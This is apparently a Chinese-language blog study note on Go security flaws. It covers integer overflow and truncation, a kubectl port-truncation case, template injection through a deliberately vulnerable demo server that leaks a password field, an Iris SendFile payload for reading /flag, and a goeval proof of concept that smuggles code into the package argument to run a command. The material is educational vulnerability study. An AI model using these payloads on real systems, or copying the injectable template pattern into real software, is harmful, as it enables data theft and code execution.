前言
目前只学习了整数溢出和ssti
参考博客:
https://blog.h4ck.fun/golang_vuln_share
https://tyskill.github.io/posts/gossti/
Golang 是一门强类型的语言,在代码中不使用 cgo 的情况下默认使用静态编译,在编译过程中就能杜绝许多安全问题,因此 Golang 会出现的一些安全问题经常是因为依赖库中的issues和开发者自身操作不当
整数溢出
无符号整型溢出:
package main
import (
"fmt"
"reflect"
)
func main() {
var a uint16 = 65535
var b uint16 = 1
var c uint16 = 2
var sum1 = a + b
var sum2 = b - c
fmt.Println(reflect.TypeOf(sum1))
fmt.Println(sum1)
fmt.Println(sum2)
}
运行得到
因为uint16类型的范围为0~65535,对无符号数,65535向上溢出后会从0开始算溢出的部分,0向下溢出会从65535开始算溢出的部分
如果定义时直接赋值一个大小已经溢出的数,编译器会编译不通过
有符号数也是同理:
package main
import (
"fmt"
"reflect"
)
func main() {
var a2 int8 = 127
var b2 int8 = 1
var sum1 int8 = a2 + b2
var sum2 int8 = -a2 - b2 - b2
fmt.Println(reflect.TypeOf(sum1))
fmt.Println(sum1)
fmt.Println(sum2)
}
int8的范围是-128~127,可以看到对127加1超出了int8的范围,翻转为了-128
在类型转换中,也会出现较大整型向较小整型转换的截断问题,Golang 是一种强类型语言,但是 Golang 提供了类型强制转换的功能,来跳过该限制
package main
import (
"fmt"
)
func main() {
var a3 int16 = 255
var b3 = int8(a3)
fmt.Println(b3)
}
可以看到较大整型向较小整型转换会自动换算成溢出后的值
strconv.Atoi截断
旧版本的kubectl
命令行中出现了一个strconv.Atoi
导致的截断问题。
当我们传入port参数的对应字符串后,容器启动的端口这一参数会将经Atoi处理后的字符串进行int32的类型转换
由于64位系统的int是int64类型。转int32的话会出现明显截断:
v , _ := strconv.Atoi("4294967377")
s := int32(v)
fmt.Println(s)
// 81
这样就有可能导致81端口的服务启动,或者被停止
SSTI
Golang的html/template
包提供模板渲染的功能,和flask的ssti一样,当源码中出现用户可控且直接拼接渲染时会出现模板注入的漏洞,轻则造成信息泄漏,严重的可能会出现rce等
识别方法:与其他SSTI识别方法不同,运算符在{{}}
中是非法的,因此需要使用其他的payload,如{{.}}
占位符,如果存在SSTI,那么应当无回显。当然,点替换为任意字符串也可以
信息泄露
demo:
package main
import (
"fmt"
"net/http"
"strings"
"text/template"
)
type User struct {
Id int
Name string
Passwd string
}
func StringTplExam(w http.ResponseWriter, r *http.Request) {
user := &User{1, "noa", "this_is_your_key"}
r.ParseForm()
arg := strings.Join(r.PostForm["name"], "")
tpl1 := fmt.Sprintf(`<h1>Hi, ` + arg + `</h1> Your name is {{ .Name }}`)
html, err := template.New("login").Parse(tpl1)
html = template.Must(html, err)
html.Execute(w, user)
}
func main() {
server := http.Server{
Addr: "127.0.0.1:8080",
}
http.HandleFunc("/string", StringTplExam)
server.ListenAndServe()
}
运行,访问/string,就能看到被渲染好的页面
结构体是Go中一个非常重要的类型,Go通过结构体来类比一个对象,因此他的字段就是一个对象的属性
通常Json的编码和解析都需要通过结构体来实现,加之模板渲染支持传入一个结构体的实例来渲染它的字段,这就造成了信息泄漏的可能
如代码所示,name的值是我们可控的且直接拼接进模板
arg := strings.Join(r.PostForm["name"], "")
tpl1 := fmt.Sprintf(`<h1>Hi, ` + arg + `</h1> Your name is {{ .Name }}`)
因此仿造{{.Name}}
的结构构造{{.Passwd}}
就能获得Passwd的字段值。
Iris框架
参考:https://www.freebuf.com/vuls/350580.html
用户可以对日志的格式参数进行控制,而参数又会被当成模板渲染
文档:https://www.topgoer.cn/docs/lris//706
在Context这里寻找可利用的方法
SendFile可以强制下载文件
所以payload:
{{ .Ctx.SendFile "/flag" "1.txt"}}
goeval命令注入
是第三方模块:https://github.com/PaulXu-cn/goeval
存在package处命令注入的漏洞
poc:
package main
import (
"fmt"
"github.com/PaulXu-cn/goeval"
)
func main() {
Package := "\"os/exec\"\n fmt\"\n)\n\nfunc\tinit(){\ncmd:=exec.Command(\"calc\")\nout,_:=cmd.CombinedOutput()\nfmt.Println(string(out))\n}\n\n\nvar(a=\"1"
eval, _ := goeval.Eval("", "fmt.Println(\"Good\")", Package)
fmt.Println(string(eval))
}